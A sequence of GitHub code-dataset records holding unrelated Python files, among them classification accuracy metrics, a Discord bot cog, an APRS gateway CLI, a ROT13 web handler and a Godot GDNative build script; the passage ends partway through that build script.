``weighted``: Calculate metrics for each label, and find their\n average, weighted by support (the number of true instances for\n each label).\n zero_division : Literal['warn', 0, 1], default=\"warn\"\n Sets the value to return when there is a zero division. If set to ``warn``,\n this acts as 0, but warnings are also raised.\n\n Returns\n -------\n float or numpy.ndarray\n The average accuracy score as a flot if ``average`` is not None,\n otherwise a numpy array of accuracy scores per label.\n\n Raises\n ------\n ValueError\n If ``average`` is not one of ``micro``, ``macro``, ``weighted``,\n or ``None``.\n\n Examples\n --------\n >>> from cyclops.evaluation.metrics.functional import multilabel_accuracy\n >>> target = [[0, 1, 1], [1, 0, 0]]\n >>> preds = [[0, 1, 0], [1, 0, 1]]\n >>> multilabel_accuracy(target, preds, num_labels=3, average=None)\n array([1., 1., 0.])\n >>> multilabel_accuracy(target, preds, num_labels=3, average=\"micro\")\n 0.6666666666666666\n\n \"\"\"\n _check_average_arg(average)\n\n target, preds = _multilabel_stat_scores_format(\n target,\n preds,\n num_labels=num_labels,\n threshold=threshold,\n top_k=top_k,\n )\n\n tp, fp, tn, fn = _multilabel_stat_scores_update(target, preds, num_labels)\n\n return _accuracy_reduce(\n tp,\n fp,\n tn,\n fn,\n task_type=\"multilabel\",\n average=average,\n zero_division=zero_division,\n )\n\n\ndef accuracy(\n target: npt.ArrayLike,\n preds: npt.ArrayLike,\n task: Literal[\"binary\", \"multiclass\", \"multilabel\"],\n pos_label: int = 1,\n num_classes: Optional[int] = None,\n threshold: float = 0.5,\n top_k: Optional[int] = None,\n num_labels: Optional[int] = None,\n average: Literal[\"micro\", \"macro\", \"weighted\", None] = None,\n zero_division: Literal[\"warn\", 0, 1] = \"warn\",\n) -> Union[float, npt.NDArray[np.float_]]:\n \"\"\"Compute accuracy score for different classification tasks.\n\n Parameters\n ----------\n target : npt.ArrayLike\n Ground truth (correct) target values.\n preds : npt.ArrayLike\n Estimated targets (predictions) as returned by a classifier.\n task : Literal[\"binary\", \"multiclass\", \"multilabel\"]\n The type of task for the input data. One of 'binary', 'multiclass'\n or 'multilabel'.\n pos_label : int, default=1\n Label to consider as positive for binary classification tasks.\n num_classes : int, default=None\n Number of classes for the task. Required if ``task`` is ``\"multiclass\"``.\n threshold : float, default=0.5\n Threshold for deciding the positive class. Only used if ``task`` is\n ``\"binary\"`` or ``\"multilabel\"``.\n top_k : int, optional\n If given, and predictions are probabilities/logits, the precision will\n be computed only for the top k classes. Otherwise, ``top_k`` will be\n set to 1. Only used if ``task`` is ``\"multiclass\"`` or ``\"multilabel\"``.\n num_labels : int, default=None\n Number of labels for the task. Required if ``task`` is ``\"multilabel\"``.\n average : Literal[\"micro\", \"macro\", \"weighted\", None], default=None\n If ``None``, return the recall score for each label/class. Otherwise,\n use one of the following options to compute the average score:\n\n - ``micro``: Calculate metrics globally by counting the total true\n positives. false positives, true negatives and false negatives.\n - ``macro``: Calculate metrics for each class/label, and find their\n unweighted mean. This does not take label imbalance into account.\n - ``weighted``: Calculate metrics for each label/class, and find\n their average weighted by support (the number of true instances\n for each label/class). This alters ``macro`` to account for\n label/class imbalance.\n zero_division : Literal[\"warn\", 0, 1], default=\"warn\"\n Sets the value to return when there is a zero division. If set to ``warn``,\n this acts as 0, but warnings are also raised.\n\n Returns\n -------\n accuracy_score : float or numpy.ndarray\n The average accuracy score as a float if ``average`` is not None,\n otherwise a numpy array of accuracy scores per class/label.\n\n Raises\n ------\n ValueError\n If ``task`` is not one of ``binary``, ``multiclass`` or ``multilabel``.\n AssertionError\n If ``task`` is ``multiclass`` and ``num_classes`` is not provided or is\n less than 0.\n AssertionError\n If ``task`` is ``multilabel`` and ``num_labels`` is not provided or is\n less than 0.\n\n Examples\n --------\n >>> # (binary)\n >>> from cyclops.evaluation.metrics.functional import accuracy\n >>> target = [0, 1, 0, 1]\n >>> preds = [0, 1, 1, 1]\n >>> accuracy(target, preds, task=\"binary\")\n 0.75\n\n >>> # (multiclass)\n >>> target = [0, 1, 2, 2, 2]\n >>> preds = [0, 0, 2, 2, 1]\n >>> accuracy(target, preds, task=\"multiclass\", num_classes=3, average=\"micro\")\n 0.6\n\n >>> # (multilabel)\n >>> target = [[0, 1, 1], [1, 0, 0]]\n >>> preds = [[0, 1, 0], [1, 0, 1]]\n >>> accuracy(target, preds, task=\"multilabel\", num_labels=3, average=\"mcro\")\n 0.6666666666666666\n\n \"\"\"\n if task == \"binary\":\n accuracy_score: Union[float, npt.NDArray[np.float_]] = binary_accuracy(\n target,\n preds,\n pos_label=pos_label,\n threshold=threshold,\n zero_division=zero_division,\n )\n elif task == \"multiclass\":\n assert (\n isinstance(num_classes, int) and num_classes > 0\n ), \"Number of classes must be specified for multiclass classification.\"\n accuracy_score = multiclass_accuracy(\n target,\n preds,\n num_classes=num_classes,\n top_k=top_k,\n average=average,\n zero_division=zero_division,\n )\n elif task == \"multilabel\":\n assert (\n isinstance(num_labels, int) and num_labels > 0\n ), \"Number of labels must be specified for multilabel classification.\"\n accuracy_score = multilabel_accuracy(\n target,\n preds,\n num_labels=num_labels,\n threshold=threshold,\n top_k=top_k,\n average=average,\n zero_division=zero_division,\n )\n else:\n raise ValueError(\n f\"Task {task} is not supported, expected one of 'binary', 'multiclass'\"\n \" or 'multilabel'\",\n )\n return accuracy_score\n","repo_name":"VectorInstitute/cyclops","sub_path":"cyclops/evaluate/metrics/functional/accuracy.py","file_name":"accuracy.py","file_ext":"py","file_size_in_byte":16831,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"3"} +{"seq_id":"39718501553","text":"from UtilsDirectory.data import *\n\nasync def updateWhitelist():\n f = open('UtilsDirectory/whitelist.txt', 'w')\n for item in users:\n f.write(item)\n f.close()\n\nasync def readWhitelist():\n users.clear()\n b = open('UtilsDirectory/whitelist.txt', 'r')\n for lines in b:\n users.append(lines)\n b.close()\n\nusers = []\ncwd = 'home/'\nlwd = 'home/'\n\nclass shell(commands.Cog):\n def __init__(self,bot):\n self.bot = bot\n users.clear()\n b = open('UtilsDirectory/whitelist.txt', 'r')\n for lines in b:\n users.append(lines)\n b.close()\n\n async def setup(bot):\n print('Commands loaded!')\n \n async def teardown(bot):\n print('Commands unloaded')\n\n# @commands.command()\n# async def shTest(self,ctx):\n# print(f'Test passed')\n# await ctx.send(f'Test passed')\n\n @commands.command()\n async def cd(self, ctx, directory = None):\n print(f'\"{cwd}\" Is the current Directory\\n\"{lwd}\" Is the last used directory')\n if directory == None:\n await ctx.send(f'Invalid syntax')\n else:\n cwd =+ directory\n print(cwd)\n await ctx.send(cwd)\n\n @commands.command()\n async def r34(self,ctx,tag1 = None, tag2 = None, tag3 = None, tag4 = None):\n tagList = []\n\n if not tag1 == None: tags.append(tag1)\n if not tag2 == None: tags.append(tag2)\n if not tag3 == None: tags.append(tag3)\n if not tag4 == None: tags.append(tag4)\n\n r = requests.get(f'https://api.rule34.xxx/index.php?page=dapi&s=post&q=index', limit=(1), tags=(tagList))\n print(r)\n await ctx.send(r)\n\nasync def setup(bot):\n await bot.add_cog(shell(bot))","repo_name":"reeet24/spooky.py","sub_path":"shell.py","file_name":"shell.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"248962764","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def isBalanced(self, root: Optional[TreeNode]) -> bool:\n (balanced, height) = self._isBalanced(root)\n return balanced\n\n def _isBalanced(self, root: Optional[TreeNode]) -> (bool, int):\n if root == None:\n return (True, 0)\n\n (l_bal, l_h) = self._isBalanced(root.left)\n (r_bal, r_h) = self._isBalanced(root.right)\n\n bal = l_bal and r_bal and abs(l_h - r_h) <= 1\n h = 1 + max(l_h, r_h)\n return (bal, h)\n","repo_name":"MrPicklePinosaur/grind75","sub_path":"week1/q11.py","file_name":"q11.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26363353710","text":"\n# Python script for generating LaTeX Equqation Systems\nimport sys\n\n# First and last objects are tied to operators\n# Other operators are separate objects in the equation\neq = \"\"\"\n2 - 5 + 8 = 0\n-2 - 7 + 1 = 0\n4 + 2 + 7 = 0\n\"\"\"\n\n# Ex:\n# eq = \"\"\"\n# 1 - 2 = -2\n# 1 + 5 = 7\n# \"\"\"\n\n# # Does not support 0s very well\n# eq = \"\"\"\n# 1 0 0 - 3 = 8\n# 2 + 2 + 9 = 7\n# 0 0 1 + 5 = -2\n# \"\"\"\n\nclass bcolors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKCYAN = '\\033[96m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n ERROR = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\n\ndef TrimWhite(ss):\n ss = ss.split(\"\\n\")\n # Removing leading and trailing whitespaces\n ss = ss[1:len(ss)-1]\n # Trimming rows\n for k in range(len(ss)):\n #print(k)\n # print(ss[k])\n ss[k] = ss[k].split()\n return ss\n\n\ndef FindDim(ss):\n numrows = len(ss)\n numcols = len(ss[0])\n # Check that all rows have the same dimensions\n for rw in ss:\n tmprow = len(rw)\n if tmprow != numcols:\n print(f\"{bcolors.ERROR}ERROR: col mismatch!{bcolors.ENDC}\")\n sys.exit()\n # # Print dimensions\n #print(numrows, \"-\", numcols)\n return numrows, numcols\n\ndef MatrixToLaTex(ss):\n mat = TrimWhite(ss)\n numrow, numcols = FindDim(mat)\n\n # Create align string based on number of columns\n a = ['c' for i in range(numcols)]\n # First and last columns are right aligned\n a[0] = 'r'\n a[-1] = 'r'\n align = ''.join(a)\n\n print(\"\\\\begin{array}{\", end='')\n print(align, end='}\\n')\n for i in range(numrow):\n index = 1 # index value for x_i\n for j in range(numcols):\n # If 0, we don't write it, unless it's the last element\n if mat[i][j] == '0' and j < numcols - 1:\n # Empty cell\n mat[i][j] = ''\n index = index + 1\n elif mat[i][j] == '+' or mat[i][j] == '-' or mat[i][j] == '=':\n # Operation (+/-/=)\n print(f\"{mat[i][j]}\", end = \" & \")\n #index = index + 1\n elif mat[i][j] == '1' and j < numcols - 1:\n # Operators\n print(f\"x_{index}\", end = \" & \")\n index = index + 1\n elif j < numcols - 1:\n print(f\"{mat[i][j]}x_{index}\", end = \" & \")\n index = index + 1\n elif i == numrow - 1:\n # Solution (b)\n print(mat[i][j], end = \"\")\n else:\n print(mat[i][j], end = \" \\\\\\\\ \")\n print(\"\")\n print(\"\\\\end{array}\")\n\n\nMatrixToLaTex(eq)\n\n# Example output\n\"\"\"\n1 - 2 = -1\n-1 + 3 = 3\n\n\\begin{tabular}{ r c c c r }\n x_1 & - & 2x_2 & = & -1\\\\ \n -x_1 & + & 3x_2 & = & 3 \n\\end{tabular}\n\"\"\"\n","repo_name":"CoveredInChocolate/CoveredInChocolate.github.io","sub_path":"LinAlgLay/genlineq.py","file_name":"genlineq.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36309930079","text":"from __future__ import print_function\nimport os\nimport readline\nimport subprocess\n\nclass Completer(object):\n\t\"\"\" Class to provide tab-completion functionality\n\tto the command line.\n\t\"\"\"\n\tdef __init__(self, options):\n\t\tself.options = sorted(options)\n\t\treturn\n\n\tdef complete(self, text, state):\n\t\tresponse = None\n\t\tprint(text, state)\n\t\tresponse = None\n\t\tif state == 0:\n\t\t\tif text:\n\t\t\t\tif text.startswith('put '):\n\t\t\t\t\tfname_prefix = text[4:]\n\t\t\t\t\tlistdir = os.listdir('.')\n\t\t\t\t\tself.matches = [s\n\t\t\t\t\t\t\t\t\tfor s in listdir\n\t\t\t\t\t\t\t\t\tif s and s.startswith(fname_prefix)]\n\t\t\t\t\tif len(self.matches) == 1:\n\t\t\t\t\t\tself.matches = [\"put \" + i for i in self.matches]\n\n\t\t\t\telse:\n\t\t\t\t\tself.matches = [s\n\t\t\t\t\t\t\t\t\tfor s in self.options\n\t\t\t\t\t\t\t\t\tif s and s.startswith(text)]\n\n\t\t\telse:\n\t\t\t\tself.matches = self.options[:]\n\n\t\t# Return the state'th item from the match list,\n\t\t# if we have that many.\n\t\ttry:\n\t\t\tresponse = self.matches[state]\n\t\texcept IndexError:\n\t\t\tresponse = None\n\t\treturn response\n\nif __name__ == '__main__':\n\t# Setup readline to provide tab completion for the command line.\n\tword_list = ['get', 'gets', 'put']\n\treadline.set_completer(Completer(word_list).complete)\n\treadline.parse_and_bind('tab: complete')\n\n\twhile True:\n\t\traw_input('--> ')\n","repo_name":"amirnasri/ftpshell","sub_path":"other/completer_test.py","file_name":"completer_test.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21319270079","text":"import webapp2\n\nform=\"\"\"\n
\n\tEnter some text to ROT13:\n\t
\n\t\n\t
\n\t\n
\n\"\"\"\n\n\nimport cgi\ndef validate(text):\n\tascii_text = list() #empty list to store every letter of the text in ascii\n\tfor character in text:\n\t\tascii = ord(character)\n\t\t\n\t\t#if is capital letter\n\t\tif ascii >= 65 and ascii <=90: \n\t\t\tascii = ascii+13\n\t\t\tif ascii > 90: #loop around\n\t\t\t\tascii = 65 + (ascii-90-1)\n\t\t\t\t\n\t\t#if is lower case letter\n\t\telif ascii >=97 and ascii <=122:\n\t\t\tascii = ascii+13\n\t\t\tif ascii > 122: #loop around\n\t\t\t\tascii = 97 + (ascii-122-1)\n\t\telse: #anything else\n\t\t\tascii = ord(character)\n\t\tascii_text.append(ascii) #store in list\n\t\n\t#convert all back to characters\n\tfor x in range(0, len(ascii_text)):\n\t\tascii_text[x] = chr(ascii_text[x])\n\t#make back into a single string\n\tresult = ''.join(ascii_text)\n\t#escape html \n\treturn cgi.escape(result, quote=True)\n\n\nclass Rot13_handler (webapp2.RequestHandler):\n\tdef write_form(self, prev_text=\"\"):\n\t\tself.response.out.write(form %{\"prev_text\": prev_text} )\n\t\n\tdef get(self):\n\t\tself.write_form()\n\t\n\tdef post(self):\n\t\t#get what was input into the form\n\t\tinput_text = self.request.get(\"text\")\n\t\tinput_text = validate(input_text)\n\t\tself.write_form(input_text) \n\t\t#validate input and do Rot13\n\napp = webapp2.WSGIApplication([('/rot13', Rot13_handler)], debug=True)","repo_name":"meixingdg/course-prereq","sub_path":"misc/helloworld/rot13.py","file_name":"rot13.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18265816109","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"Python APRS Gateway Commands.\"\"\"\n\nimport argparse\nimport time\n\nimport aprs\nimport redis\n\nimport aprsgate\n\n__author__ = 'Greg Albrecht W2GMD '\n__copyright__ = 'Copyright 2016 Orion Labs, Inc.'\n__license__ = 'All rights reserved. Do not redistribute.'\n\n\ndef start_aprsgate(aprsc, callsign, redis_server, tag):\n gate_in_channels = ['_'.join(['GateIn', callsign, tag])]\n gate_out_channels = ['_'.join(['GateOut', callsign, tag])]\n\n redis_conn = redis.StrictRedis(redis_server)\n\n thread_pool = []\n\n thread_pool.append(\n aprsgate.GateIn(aprsc, redis_conn, gate_in_channels))\n\n thread_pool.append(\n aprsgate.GateOut(aprsc, redis_conn, gate_out_channels))\n\n try:\n aprsc.start()\n\n [th.start() for th in thread_pool]\n\n while [th.is_alive() for th in thread_pool]:\n time.sleep(0.01)\n\n except KeyboardInterrupt:\n [th.stop() for th in thread_pool]\n finally:\n [th.stop() for th in thread_pool]\n\n\ndef aprsgate_tcp():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n '-c', '--callsign', help='callsign', required=True\n )\n parser.add_argument(\n '-r', '--redis_server', help='Redis Server', required=True\n )\n parser.add_argument(\n '-t', '--tag', help='Gate Tag', required=False, default='IGATE'\n )\n\n parser.add_argument(\n '-p', '--passcode', help='passcode', required=True\n )\n parser.add_argument(\n '-f', '--aprs_filter', help='Filter', required=False,\n default='p/RS0ISS u/ARISS/RS0ISS'\n )\n\n opts = parser.parse_args()\n\n aprsc = aprs.TCP(\n opts.callsign,\n opts.passcode,\n aprs_filter=opts.aprs_filter\n )\n\n start_aprsgate(aprsc, opts.callsign, opts.redis_server, opts.tag)\n\n\ndef aprsgate_kiss_serial():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n '-c', '--callsign', help='callsign', required=True\n )\n parser.add_argument(\n '-r', '--redis_server', help='Redis Server', required=True\n )\n parser.add_argument(\n '-t', '--tag', help='Gate Tag', required=False, default='IGATE'\n )\n\n parser.add_argument(\n '-s', '--serial_port', help='Serial Port', required=True\n )\n parser.add_argument(\n '-S', '--speed', help='speed', required=False, default=19200\n )\n\n opts = parser.parse_args()\n\n aprsc = aprs.SerialKISS(opts.serial_port, opts.speed)\n start_aprsgate(aprsc, opts.callsign, opts.redis_server, opts.tag)\n\n\ndef aprsgate_kiss_tcp():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n '-c', '--callsign', help='callsign', required=True\n )\n parser.add_argument(\n '-r', '--redis_server', help='Redis Server', required=True\n )\n parser.add_argument(\n '-t', '--tag', help='Gate Tag', required=False, default='IGATE'\n )\n\n parser.add_argument(\n '-H', '--host', help='Host', required=True\n )\n parser.add_argument(\n '-P', '--port', help='TCP Port', required=False, default=8001\n )\n\n opts = parser.parse_args()\n\n aprsc = aprs.TCPKISS(\n opts.host,\n opts.port\n )\n\n start_aprsgate(aprsc, opts.callsign, opts.redis_server, opts.tag)\n\n\ndef aprsgate_worker():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n '-c', '--callsign', help='callsign', required=True\n )\n parser.add_argument(\n '-r', '--redis_server', help='Redis Server', required=True\n )\n parser.add_argument(\n '-t', '--tag', help='Gate Tag', required=False, default='IGATE'\n )\n\n opts = parser.parse_args()\n\n gate_in_channels = ['_'.join(['GateIn', opts.callsign, opts.tag])]\n gate_out_channels = ['_'.join(['GateOut', opts.callsign, opts.tag])]\n\n redis_conn = redis.StrictRedis(opts.redis_server)\n\n worker = aprsgate.GateWorker(\n redis_conn,\n in_channels=gate_in_channels,\n out_channels=gate_out_channels\n )\n\n try:\n worker.start()\n\n while worker.is_alive():\n time.sleep(0.01)\n\n except KeyboardInterrupt:\n worker.stop()\n finally:\n worker.stop()\n\n\ndef aprsgate_beacon():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n '-c', '--callsign', help='callsign', required=True\n )\n parser.add_argument(\n '-r', '--redis_server', help='Redis Server', required=True\n )\n parser.add_argument(\n '-t', '--tag', help='Gate Tag', required=False, default='IGATE'\n )\n\n parser.add_argument(\n '-f', '--frame', help='Frame', required=True\n )\n parser.add_argument(\n '-i', '--interval', help='Interval', required=False, default=60,\n type=int\n )\n\n opts = parser.parse_args()\n\n gate_out_channels = ['_'.join(['GateOut', opts.callsign, opts.tag])]\n\n redis_conn = redis.StrictRedis(opts.redis_server)\n\n beacon = aprsgate.GateBeacon(\n redis_conn,\n channels=gate_out_channels,\n frame=opts.frame,\n interval=opts.interval\n )\n\n try:\n beacon.start()\n\n while beacon.is_alive():\n time.sleep(0.01)\n\n except KeyboardInterrupt:\n beacon.stop()\n finally:\n beacon.stop()\n\n\ndef aprsgate_satbeacon():\n from aprsgate.sat import SatBeacon\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n '-c', '--callsign', help='callsign', required=True\n )\n parser.add_argument(\n '-r', '--redis_server', help='Redis Server', required=True\n )\n parser.add_argument(\n '-t', '--tag', help='Gate Tag', required=False, default='IGATE'\n )\n\n parser.add_argument(\n '-f', '--frame', help='Frame', required=True\n )\n parser.add_argument(\n '-i', '--interval', help='Interval', required=False, default=60,\n type=int\n )\n parser.add_argument(\n '-T', '--tle', help='TLE', required=False, default=aprsgate.ISS_TLE,\n )\n parser.add_argument(\n '-Q', '--qth', help='QTH', required=False, default=aprsgate.QTH,\n )\n\n opts = parser.parse_args()\n\n gate_out_channels = ['_'.join(['GateOut', opts.callsign, opts.tag])]\n\n redis_conn = redis.StrictRedis(opts.redis_server)\n\n beacon = SatBeacon(\n redis_conn,\n channels=gate_out_channels,\n frame=opts.frame,\n interval=opts.interval,\n tle=opts.tle,\n qth=opts.qth\n )\n\n try:\n beacon.start()\n\n while beacon.is_alive():\n time.sleep(0.01)\n\n except KeyboardInterrupt:\n beacon.stop()\n finally:\n beacon.stop()\n","repo_name":"ampledata/aprsgate","sub_path":"aprsgate/cmd.py","file_name":"cmd.py","file_ext":"py","file_size_in_byte":6581,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"} +{"seq_id":"70546678801","text":"from sqlalchemy.orm import Session\nfrom . import models, schemas\n\n# def create_user(db: Session, user: models.User):\n# db.add(user)\n# db.commit()\n# db.refresh(user)\n# return user\n\n\ndef create_user(db: Session, user: schemas.UserCreate):\n db_user = models.User(**user.dict())\n db.add(db_user)\n db.commit()\n db.refresh(db_user)\n return db_user","repo_name":"rustamzada0/FastAPI","sub_path":"blog/crud.py","file_name":"crud.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70335675603","text":"from Globals import *\nfrom GameEntity import *\n\nimport pygame\n\nimport numpy as np\n\ndef is_opponent_in_range(character, opponent):\n \n x = [character.position.x, opponent.position.x]\n y = [character.position.y, opponent.position.y]\n \n equation = np.poly1d(np.polyfit(x, y, 1))\n x_axis = np.linspace(x[0], x[1], 30)\n y_axis = equation(x_axis)\n \n is_position_in_obstacle = False\n # prevent character from attacking opponent through walls\n for i in range(len(x_axis)):\n predicted_pos = Vector2(x_axis[i], y_axis[i])\n\n dummy_character = GameEntity(character.world, \"\", pygame.image.load(\"assets/blue_archer_32_32.png\").convert_alpha(), False)\n dummy_character.rect = pygame.Rect(predicted_pos, (10, 10))\n \n if is_stuck(dummy_character):\n is_position_in_obstacle = True\n break\n \n # if character.name == \"archer\":\n # print(character.name + \" \" + str(is_position_in_obstacle))\n \n opponent_distance = (character.position - opponent.position).length()\n if opponent_distance <= character.min_target_distance and not is_position_in_obstacle:\n return opponent\n \ndef is_stuck(character):\n # obstacles = [obstacle for obstacle in character.world.obstacles if obstacle.name == \"obstacle\"]\n \n return character.rect.x < 0 or character.rect.x > SCREEN_WIDTH or \\\n character.rect.y < 0 or character.rect.y > SCREEN_HEIGHT or \\\n len(pygame.sprite.spritecollide(character, character.world.obstacles, False, pygame.sprite.collide_mask)) > 0\n\n\ndef get_second_nearest_opponent(self, char):\n flag = False\n second_nearest_opponent = None\n distance = 0\n\n for entity in self.world.entities.values():\n\n # neutral entity\n if entity.team_id == 2:\n continue\n\n # same team\n if entity.team_id == char.team_id:\n continue\n\n if entity.name == \"projectile\" or entity.name == \"explosion\":\n continue\n\n if entity.ko:\n continue\n\n if second_nearest_opponent is None and flag == False: #if no target, set target here\n flag = True\n elif second_nearest_opponent is None and flag == True:\n nearest_opponent = entity\n distance = (char.position - entity.position).length()\n else: #if target \n if distance > (char.position - entity.position).length():\n distance = (char.position - entity.position).length()\n second_nearest_opponent = entity\n \n return second_nearest_opponent\n","repo_name":"kazel04/AIG","sub_path":"Utlis_ZhugeLiang.py","file_name":"Utlis_ZhugeLiang.py","file_ext":"py","file_size_in_byte":2574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26733000065","text":"import os\nimport sys\nimport math\nimport glob\nimport shutil\nimport hashlib\nimport zipfile\nimport subprocess\n\nfrom distutils import log\nfrom setuptools import Extension\nfrom setuptools.command.build_ext import build_ext\n\nfrom mako.template import Template\n\nfrom ..version import get_version\nfrom ..utils import is_internal_path\n\nfrom .enums import ExtType\n\nroot_dir = os.getcwd() # XXX\ntools_root = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))\ntemplates_dir = os.path.join(tools_root, 'setup', 'templates')\n\n\nclass NativeScript(Extension):\n def __init__(self, name, *, addon_prefix=None, sources=None, python_sources=None, class_name=None):\n self._gdnative_type = ExtType.NATIVESCRIPT\n self._nativescript_classname = class_name\n self._dynamic_sources = python_sources or []\n\n self._addon_prefix = addon_prefix\n\n super().__init__(name, sources=(sources or []))\n\n\nclass Addon(Extension):\n def __init__(self, name, *, data_files=None, editor_only=True, **kwargs):\n self.python_package = name\n self._gdnative_type = ExtType.ADDON\n\n self._data_file_patterns = data_files or []\n self._editor_only = editor_only\n self._addon_metadata = kwargs\n\n super().__init__(name, sources=[])\n\n\n# TODO: Make target configurable\nbuild_target = 'release'\n\nTOOLS_PACKAGES = ('Cython', 'IPython', 'ipython_genutils', 'jedi', 'parso', 'pexpect', 'traitlets', 'ptyprocess')\n\n\n# TODO:\n# * Allow users to exclude Python dependencies with glob patterns\n# * Encapsulate Python packaging into a separate class and let users create custom classes\n# * Optionally allow to compress all binary Python extensions to .pak files (uncompress to user:// at runtime)\nclass GDNativeBuildExt(build_ext):\n godot_project = None\n addons = {}\n gdnative_library_path = None\n generic_setup = False\n\n build_context = {\n '__version__': get_version(),\n 'godot_headers_path': os.path.normpath(os.path.join(tools_root, '..', '_lib', 'godot_headers')),\n 'godopy_bindings_path': os.path.dirname(tools_root),\n 'singleton': False,\n 'gdnative_options': False,\n 'pyx_sources': [],\n 'cpp_sources': []\n }\n\n godot_resources = {}\n godot_resource_files = {}\n python_dependencies = {}\n\n def run(self):\n dependencies_collected = False\n\n for ext in self.extensions:\n if self.godot_project:\n if not dependencies_collected:\n log.info('collecting Python dependencies')\n self.collect_dependencies()\n dependencies_collected = True\n\n log.info('setting up GDNative {0}: {1}'.format(ext._gdnative_type.name.lower(), ext.name))\n\n getattr(self, 'collect_godot_{0}_data'.format(ext._gdnative_type.name.lower()))(ext)\n\n if self.generic_setup:\n self.run_copylib()\n else:\n # TODO: Check that required development files exist\n self.run_build()\n\n for res_path, content in self.godot_resources.items():\n self.write_target_file(os.path.join(self.godot_project.path_prefix, res_path), content,\n pretty_path='res://%s' % res_path, is_editable_resource=True)\n\n for res_path, source in self.godot_resource_files.items():\n target = os.path.join(self.godot_project.path_prefix, res_path)\n if os.path.exists(target) and os.stat(source).st_mtime == os.stat(target).st_mtime and not self.force:\n log.info('skip copying \"%s\"' % make_resource_path(self.godot_root, target))\n continue\n\n target_dir = os.path.dirname(target)\n if not os.path.exists(target_dir) and not self.dry_run:\n os.makedirs(target_dir)\n\n log.info('copying \"%s\"' % make_resource_path(self.godot_root, target))\n if not self.dry_run:\n shutil.copy2(source, target)\n\n self.package_dependencies()\n\n setup_script = self.gdnative_library_path.replace('.gdnlib', '__setup.gd')\n log.info('updating Godot project settings, running \"res://%s\"' % setup_script)\n if not self.dry_run:\n subprocess.run([\n 'godot',\n '--path', self.godot_project.path_prefix,\n '-s', 'res://%s' % setup_script\n ], check=True)\n\n log.info('removing \"res://%s\"' % setup_script)\n if not self.dry_run:\n os.unlink(os.path.join(self.godot_project.path_prefix, setup_script))\n\n def run_copylib(self):\n # source_zip = os.path.join(self.build_context['godopy_bindings_path'], self.build_context['godopy_zip_name'])\n source = os.path.join('build', 'lib', self.build_context['godopy_library_name'])\n target = self.build_context['target']\n\n assert os.path.exists(source), source\n\n if os.path.exists(target) and os.stat(source).st_mtime == os.stat(target).st_mtime and not self.force:\n log.info('skip copying \"res://%s\"' % make_resource_path(self.godot_root, target))\n return\n\n target_dir = os.path.dirname(target)\n if not os.path.exists(target_dir) and not self.dry_run:\n os.makedirs(target_dir)\n\n log.info('copying \"res://%s\"' % make_resource_path(self.godot_root, target))\n if self.dry_run:\n return\n\n shutil.copy2(source, target)\n\n def run_build(self):\n cpp_lib_template = Template(filename=os.path.join(templates_dir, 'gdlibrary.cpp.mako'))\n cpp_lib_path = self.build_context['cpp_library_path']\n\n self.write_target_file(cpp_lib_path, cpp_lib_template.render(**self.build_context))\n\n self.build_context['cpp_sources'].append(make_relative_path(self.build_context['cpp_library_path']))\n\n scons_template = Template(filename=os.path.join(templates_dir, 'SConstruct.mako'))\n self.write_target_file('SConstruct', scons_template.render(**self.build_context))\n\n scons = os.path.join(sys.prefix, 'Scripts', 'scons') if sys.platform == 'win32' else 'scons'\n\n if not self.dry_run:\n self.spawn([scons, 'target=%s' % build_target])\n\n def write_target_file(self, path, content, pretty_path=None, is_editable_resource=False):\n if pretty_path is None:\n pretty_path = path\n\n if os.path.exists(path) and not self.force:\n # Check if there are any changes\n new_hash = hashlib.sha1(content.encode('utf-8'))\n with open(path, encoding='utf-8') as fp:\n old_hash = hashlib.sha1(fp.read().encode('utf-8'))\n if old_hash.digest() == new_hash.digest():\n log.info('skip writing \"%s\"' % pretty_path)\n return\n elif is_editable_resource and not self.force:\n # Do not overwrite user resources without --force flag\n log.warn('WARNING! modified resource already exists: \"%s\"' % pretty_path)\n return\n\n log.info('writing \"%s\"' % pretty_path)\n if not self.dry_run:\n dirname, basename = os.path.split(path)\n if dirname and not os.path.exists(dirname):\n os.makedirs(dirname)\n\n with open(path, 'w', encoding='utf-8') as fp:\n fp.write(content)\n\n def package_dependencies(self):\n lib_root = os.path.join(self.godot_project.path_prefix, self.godot_project.binary_path, 'lib')\n libtools_root = os.path.join(self.godot_project.path_prefix, self.godot_project.binary_path, 'libtools')\n\n if self.dry_run:\n return\n\n if not os.path.isdir(lib_root):\n os.makedirs(lib_root)\n\n if not os.path.isdir(libtools_root):\n os.makedirs(libtools_root)\n\n for dirname, subdirs, files in os.walk(self.python_dependencies['lib_dir']):\n base_dirname = 